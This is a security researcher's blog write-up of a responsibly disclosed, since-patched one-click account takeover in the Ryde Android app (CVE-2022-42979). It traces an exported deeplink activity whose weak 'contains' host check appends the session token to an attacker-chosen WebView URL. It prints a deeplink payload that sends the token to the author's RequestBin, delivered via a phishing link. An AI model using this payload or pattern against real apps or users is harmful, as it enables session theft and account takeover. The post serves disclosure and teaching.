How I found my first one-click account takeover via deeplink in Ryde

Lee Jun Ao
6 min readDec 19, 2022

--

As part of an ongoing effort to improve my own craft in identifying vulnerabilities in Android, I have been looking at different Android application and their decompiled source code to see if I’m able to find any vulnerabilities.

In today’s article, I’ll be talking about a one-click account takeover found in Ryde via a specially crafted link due to insecure checking and validating of whitelisted host. I was really lucky to chance upon an exported browsable activity that has improper/insecure validation of whitelisted host. This vulnerability was reported to Ryde on 12 October and has since been rectified. However, if you are still on Ryde 5.8.43, you are advised to update to the latest version.

Ryde originally started as a ride-sharing platform that matched drivers with riders going the same way to share a ride (RydePool). In recent times, they’ve extended their product services to include an e-payment platform (RydePay), taxi booking and insurance.

Ryde in Google Play Store

In a decompiled Android application, there can be a million lines of code and finding a vulnerability can be akin to finding a needle in a haystack. In order to narrow the scope, I will always look at exported components defined in the manifest first as finding vulnerabilities in non-exported components usually requires the help of SAST tools.

An exported component can be explicitly implicitly defined in the manifest — explicitly means that the component contains the attribute android:exported=”true” while implicitly means that the component contains an intent filter and it does not contain the attribute android:exported=”false”.

I found multiple exported components in the manifest but a component that caught my attention was the com.sts.ryde.ui.SplashActivity. The android.intent.category.BROWSABLE attribute in intent filter tells Android that this component can be launched via deeplink through browsing the link on a Web Browser.

After SplashActivity has been launched, the application started the V5HomeActivity. We can confirm this by tracing the the flow of the application via Frida by hooking the startActivity call.

Since we know that V5HomeActivity is launched, we can trace the method call via the Android Activity Lifecycle (onCreate -> onStart -> onResume).

Android Activity Lifecycle

As data are passed from activity to activity via Intent, we will pay special attention to any method that handle data from Intent. In the onCreate method, I found potential methods that retrieve data from the intent — handleIntent() and handleBranchIntent()

Decompiled code for onCreate

In handleIntent method, we see that if there are extras/datas in the intent, it will call another method handleAction(Uri).

Code flow for handleIntent

Since we are using deeplink to trigger this activity from SplashScreen, the deeplink will normally be set as the data string.

First handleAction method definition

Within the handleAction method, we can also see what query parameters are being handled by the application. There are multiple query parameters that will be extracted from the deeplink uri before passing all the extracted parameters into another handleAction method. We will take note of them as they will be useful later. As we continue tracing the code, we spotted something very suspicious in the subsequent handleAction method.

Suspicious code portion involving secret

In the subsequent handleAction method, we found that there is a very insecure check of the action. It performs a check on the action to see if it contains rydesharing.com before appending the secret. However, .contains is very insecure as it opens up a lot of possibility such as

  • malicious.com/rydesharing.com
  • malicious-rydesharing.com
  • maliciousrydesharing.com

We can infer that the secret is actually the session token from how it is being retrieved from UserManager.

What is the impact of this? In order to find out the impact, we have to continue tracing and resolve the argument passed into the method.

  1. What does v5openWebViewBack method do
v5openWebViewBack definition

From the method definition, we can conclude that a new instance of WebViewFragment is created with two arguments, the title and the url.

Further look into WebViewFragment shows that these arguments are placed into a Bundle. A bundle for a Fragment is similar to an intent for an Activity.

Fragment also has its own lifecycle which we will not go deep into it in this article but we know that onViewCreated and onCreateView will be called as part of the lifecycle.

Since we know that the bundle/arguments in the Fragment can be controlled by us, we are more interested in identifying code segments/portions containing the usage of these values.

Code segment related to arguments in onViewCreated

From the above code segment found in onViewCreated, we can clearly see that we are able to load arbitrary URL defined by the user into the web browser.

With this knowledge, we can come up with a few conclusions.

  1. action will be set as the url to be loaded for the WebView
  2. if action contains rydesharing.com, session token will be appended to the action
  3. we are able to load up arbitrary url since we control action

When we are able to send request to an arbitrary url, we are able to leak information. In this example, I setup a RequestBin and crafted a malicious deeplink payload pointing to my RequestBin.

Payload:
ryde://open?action=<request bin>/rydesharing.com?title=Credits

I setup a phishing website that can trick a user to browse to this malicious payload. When the user clicks on the <a> tag pointing to this malicious deeplink, the Ryde application will be started and a request will be sent to my RequestBin.

RequestBin Panel:

Video Proof-of-Concept:

With a working proof-of-concept, I emailed to Ryde support to inform them of this vulnerability, and they confirmed that this is a valid vulnerability and raised this ticket to the relevant department.

Note: I have also filed a CVE request to MITRE and was given the CVE ID: CVE-2022–42979 which I subsequently informed Ryde.

Disclaimer: As this was not found from the standard BBP/VDP and the vulnerability has been patched by Ryde, I decided to write an article on this vulnerability. However, if Ryde wishes for me to take down the article, feel free to contact me through the email which I used to contact Ryde Support.

--

--